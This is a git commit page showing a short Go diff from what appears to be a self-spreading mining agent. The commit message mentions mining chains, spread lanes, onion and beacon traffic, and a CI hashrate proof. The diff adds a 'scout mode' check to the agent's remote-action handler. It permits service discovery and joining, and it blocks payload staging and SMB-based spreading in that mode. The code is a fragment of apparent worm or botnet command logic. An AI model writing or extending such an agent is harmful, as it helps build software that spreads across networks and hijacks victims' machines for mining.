Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -11,6 +11,17 @@ import (
|
||||
)
|
||||
|
||||
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
c.mu.Lock()
|
||||
scout := c.cfg.ScoutMode
|
||||
c.mu.Unlock()
|
||||
if scout {
|
||||
switch action {
|
||||
case "service_discover", "discover_and_join":
|
||||
return true, ""
|
||||
case "stage_fetch", "spread_now", "spread_smb_unc":
|
||||
return false, "roving scout mode never stages spread payloads"
|
||||
}
|
||||
}
|
||||
switch action {
|
||||
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
||||
if !c.cfg.HolePunch {
|
||||
|
||||
Reference in New Issue
Block a user